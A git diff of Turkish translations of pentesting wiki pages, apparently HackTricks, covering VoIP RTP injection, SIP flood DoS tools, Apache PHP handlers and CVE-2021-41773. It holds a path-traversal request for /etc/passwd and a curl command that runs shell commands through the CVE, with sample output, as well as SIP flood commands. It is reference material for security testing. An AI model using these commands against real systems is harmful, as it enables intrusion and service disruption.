* **`Elastix.conf`** -> mysql root şifresi, IMAPd şifresi, web admin şifresi gibi düz metin olarak birkaç şifre içerir.
* **Birçok klasör**, tehlikeye atılmış asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol edebilir, böylece Asterisk'in çalıştırıldığında diğer arka kapılı ikili dosyaları yüklemesini sağlayabilir.
### RTP Enjeksiyonu
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçları kullanarak konuşmalara **`.wav`** dosyası eklemek mümkündür.
**`.wav`** dosyasını **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanarak konuşmalara eklemek mümkündür.
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresinden **konuşmaları tarayarak** (**`rtpscan.pl`**), bir `.wav` dosyasını bir konuşmaya göndererek (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyerek** (**`rtpflood.pl`**) kullanabilirsiniz.
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresindeki scriptleri kullanarak **konuşmaları tarayabilir** (**`rtpscan.pl`**), bir konuşmaya **`.wav`** gönderebilir (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyebilirsiniz** (**`rtpflood.pl`**).
### DoS
VoIP sunucularında DoS elde etmek için birkaç yol vardır.
VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
* [**sippts**](https://github.com/Pepelux/sippts)**'den **`SIPPTS flood`**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* `sippts flood -i 10.10.0.10 -m invite -v`
* [**sippts**](https://github.com/Pepelux/sippts)**'den **`SIPPTS ping`**: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
* **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den**: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan IAX protokolüne DoS yapar
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı sızdırmak için bir araç.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Birkaç iyi oluşturulmuş RTP paketi gönderir. İlk önce kullanılan RTP portlarını bilmek gerekir (önce sniff yapın).
* [**SIPp**](https://github.com/SIPp/sipp): SIP trafiğini analiz etmeye ve oluşturmaya izin verir. Bu nedenle DoS için de kullanılabilir.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP İsviçre çakısı. Ayrıca SIP saldırıları gerçekleştirmek için de kullanılabilir.
* Fuzzerlar: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan DoS IAX protokolü.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Birçok düzgün biçimlendirilmiş RTP paketi gönderir. Kullanılan RTP portlarını bilmek gerekir (önce sniff yapın).
* [**SIPp**](https://github.com/SIPp/sipp): SIP trafiğini analiz etme ve oluşturma imkanı sağlar, bu nedenle DoS için de kullanılabilir.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP çok amaçlı alet. SIP saldırıları gerçekleştirmek için de kullanılabilir.
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### İşletim Sistemi Güvenlik Açıkları
### OS Güvenlik Açıkları
Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir **işletim sistemi dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bunlarla ilgili sorun, bir kez çalıştığında sistem yöneticilerinin muhtemelen bunları **tekrar güncellemeyeceği** ve zamanla **güvenlik açıklarının keşfedileceği**dir.
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bu dağıtımların sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin **bir daha güncellemeyebileceği** ve **güvenlik açıklarının** zamanla keşfedileceğidir.
## Referanslar
@ -612,16 +634,17 @@ Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) ile zayıflıkları ve yapılandırma hatalarını bulun
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) ile güvenlik açıklarını ve yanlış yapılandırmaları bulun.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Yürütülebilir PHP uzantıları
# Çalıştırılabilir PHP uzantıları
Apache sunucusunun hangi uzantıları yürüttüğünü kontrol edin. Bunları aramak için aşağıdaki komutu çalıştırabilirsiniz:
Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Onları aramak için şunu çalıştırabilirsiniz:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
@ -27,42 +28,22 @@ Ayrıca, bu yapılandırmayı bulabileceğiniz bazı yerler şunlardır:
/etc/apache2/mods-enabled/php7.3.conf
```
# CVE-2021-41773
Bu, Apache HTTP Sunucusu'nun 2.4.49 sürümünde bulunan bir güvenlik açığıdır. Bu açık, hedef sunucuda bir dosya okuma saldırısına izin verir.
## Açık Detayları
Bu güvenlik açığı, hedef sunucuda `mod_proxy` ve `mod_rewrite` modüllerinin etkin olduğu durumlarda ortaya çıkar. Saldırgan, hedef sunucuya özel olarak oluşturulmuş bir HTTP isteği göndererek, sunucunun dosya sistemine erişim sağlayabilir.
## Saldırı Senaryosu
Saldırgan, hedef sunucuya aşağıdaki gibi bir HTTP isteği göndererek saldırıyı gerçekleştirebilir:
```plaintext
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: example.com
```
Bu istek, sunucunun `/etc/passwd` dosyasını okumasına neden olur. Saldırgan, bu şekilde hassas bilgilere erişebilir.
## Önlem
Bu güvenlik açığından korunmak için Apache HTTP Sunucusu'nun en son sürümüne güncellenmelidir. Ayrıca, `mod_proxy` ve `mod_rewrite` modüllerinin gereksiz yere etkinleştirilmemesi önemlidir.
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bu gönderiyi kontrol edin:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
# Buckets
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Buckets'ın numaralandırılması ve kötüye kullanılması hakkında daha fazla bilgi edinmek isterseniz bu sayfayı kontrol edin:
Buckets'ı listeleme ve kötüye kullanma hakkında daha fazla bilgi edinmek istiyorsanız bu sayfayı kontrol edin:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,54 +1,41 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizin **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
